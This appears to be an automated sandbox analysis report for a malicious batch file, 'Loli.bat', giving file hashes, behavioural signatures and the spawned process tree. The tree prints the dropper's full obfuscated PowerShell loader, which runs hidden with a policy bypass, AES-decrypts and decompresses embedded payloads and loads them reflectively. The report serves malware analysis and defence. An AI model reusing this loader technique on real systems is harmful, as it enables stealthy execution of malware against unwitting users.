Analysis

  • max time kernel
    34s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-06-2024 05:12

General

  • Target

    Loli.bat

  • Size

    3.7MB

  • MD5

    d13879a71cf3f86abbf94bb742582d55

  • SHA1

    c2229a543040cb9103f0d801d4c4098898a23568

  • SHA256

    cd7c4a5b2c74494618533506cf4222b1f1f996e8f9fe8a26ccb6d4bbbea30307

  • SHA512

    71d4e9170d076323e751555e6aba071a29f36dc0d0623d05e25a68ca7d23ff2b4712508326078ff0e4f2df22937e04dc564446a0607ff138d8ae723cb95c9dc8

  • SSDEEP

    49152:TtXlKusExyx1w7TmcgZloR4LN/qr3xz/puUnGJTNbCGLx+:t

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\system32\powercfg.exe
      powercfg /SETACVALUEINDEX SCHEME_CURRENT 545332lkFflRyLgGnYSOYDfxsZEjdYcrqQbeDOdTKhpbUmTVqnOZThcXrsgYpbgHcTBHJbczVZeQndCgfITQkdxiOeNkIfEIbHYbKllokpeUdmJnQZSHiqxYvsTFoRQPuvPGfBvTwFFUZDfCuztImXAKkZFrsGasyozHwdipEYkDLCYSnqkOxhDxVfvfVdBQFmvLdyfrqeenMXYIaM%637-891a-dec35c318583 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1692
    • C:\Windows\system32\powercfg.exe
      powercfg /SETACVALUEINDEX SCHEME_CURRENT 545332SoCiBYevDXNytQknzhzfApYnnVVCmkwYTGLbOjuEYJaXuNJmaFHQwNnCqoUGcCjtAOFMfiypMUhRpbTAlJBGDFCftiLAoOCvAHwFhWgRgrdBGwmoutusaCPVmztXwYaYsLqIFosoCJzlBazXVxfVtjvYRAsIDjuirfiUfEIgagQqcEulZwbZSfFjqrReVKKsor%CGUOIqpvYFJjrCizQCOWNivaFoEsMkzoMbFqaKFBUvEHxylYodTVCjsulTitMXJNguwqXSzfWmbrDNDgcFdIqDMDJkfgBlPXMQAccVbwDNZphaRxqcrgUaxDISHMNsDKxeFMnB%3-ab1c-d1337819c4bb 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1836
    • C:\Windows\system32\powercfg.exe
      powercfg /SETACVALUEINDEX SCHEME_CURRENT e73a04kInqdtwVmxlDtyMwTufViimOdRYEciYZBecoKTcuCsBBprvMirkcjBDbwymmvRSezlcowyLZrLtQHLzMwmwLXVQZBaSlGQZKAxcdogqKFkKyiNuKZAPivggDvcNvFAtBLIpjJvxpVLgNlrQOFimfaQptrzIltVffQiNAxlaEdAnJZsrdmYPwnoAUsWSkNl%eEgcFzJlQYlwNhpJcfdqiVkwGClioMtqRKPYRJAyHGkoYmgtlVQYobxjtKwdoAXeEUFcrqRsFFICKWxuvRXsVvcPnGFgnwjhIgJeHdbUdxtItVywnbHwDEijRPPLLLeivATEmtNrPcpxbtwshiTmONEdXAmRoqjssknSbTjTnqGApKhxsxD%\Users\Admin\AppData\Local\Temp\Loli.bat5-bccc-f7e51960c258 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4548
    • C:\Windows\system32\net.exe
      net start StateRepository
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 start StateRepository
        3⤵
          PID:3388
      • C:\Windows\system32\net.exe
        net start SystemEventsBroker
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 start SystemEventsBroker
          3⤵
            PID:3644
        • C:\Windows\system32\net.exe
          net start BrokerInfrastructure
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 start BrokerInfrastructure
            3⤵
              PID:3472
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\NvTmMon_{B2FE1952-0186-46FQghIPJrGRamxjnXhzAAlWRlDeVAvQiweLhcHvdBQKfWQJnjLiwiCSOIZUDEUiWPJDhMblpMvYKAQVvURLPmuZTmXzcMRzHHOqmmCAiASKMEinSezJMitJuJKVOCjDUVqcMAIirqDouKmpdJHYnhMznfVCCGLFqpPQnfBrvqrwFeoKwuRfVkpMjRPHEfGLEXYfVwbXipDWQqUiQkfhPGKg%-BAEC-A80AA35AC5B8}" /Disable
            2⤵
              PID:4736
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}" /Disable
              2⤵
                PID:4000
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\NvTmRepOnLogon_{B2FE1952-0YeXroDOTWkjKQoZvxutjLXAspmGsJbYJyraMpYWWSlOKPWAJoyZXkQxaDEccXwkUmzmzonfzywqAjQCsLWdkbazHTZiKVUZwbTyqKbubtAzOAXRNbJqasaSlaEFpevDDxUzpsmHKBcRBBK%86-46C3-BAEC-A80AA35AC5B8}" /Disable
                2⤵
                  PID:2648
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /flushDNS
                  2⤵
                  • Gathers network information
                  PID:3520
                • C:\Windows\system32\sc.exe
                  sc config "Netlogon" start= demand
                  2⤵
                  • Launches sc.exe
                  PID:2036
                • C:\Windows\system32\sc.exe
                  sc config "TapiSrv" start= demand
                  2⤵
                  • Launches sc.exe
                  PID:4908
                • C:\Windows\system32\net.exe
                  net file
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:860
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 file
                    3⤵
                      PID:4388
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -windowstyle hidden -noprofile -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ILzC72sI+CV50DxRsmoBoJY9fV+QlkwmunrXsniqzqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4lFDTXtXVKEiJhSo//n7+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GRjWy=New-Object System.IO.MemoryStream(,$param_var); $TAkbl=New-Object System.IO.MemoryStream; $VWaet=New-Object System.IO.Compression.GZipStream($GRjWy, [IO.Compression.CompressionMode]::Decompress); $VWaet.CopyTo($TAkbl); $VWaet.Dispose(); $GRjWy.Dispose(); $TAkbl.Dispose(); $TAkbl.ToArray();}function execute_function($param_var,$param2_var){ $twtOJ=[System.Reflection.Assembly]::('daoL'[-1..-16] -join '')([byte[]]$param_var); $foYBX=$twtOJ.EntryPoint; $foYBX.Invoke($null, $param2_var);}$dTXhk = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $dTXhk;$JycGo=[System.IO.File]::('txeTllAdaeR'[-1..-16] -join '')($dTXhk).Split([Environment]::NewLine);foreach ($IUEkA in $JycGo) { if ($IUEkA.StartsWith(':: ')) { $Ngyic=$IUEkA.Substring(3); break; }}$payloads_var=[string[]]$Ngyic.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1464

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0rfo5qgp.lhd.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/1464-9-0x000002957DBC0000-0x000002957DBE2000-memory.dmp

                  Filesize

                  136KB

                • memory/1464-10-0x000002957B780000-0x000002957B788000-memory.dmp

                  Filesize

                  32KB

                • memory/1464-11-0x000002957E090000-0x000002957E312000-memory.dmp

                  Filesize

                  2.5MB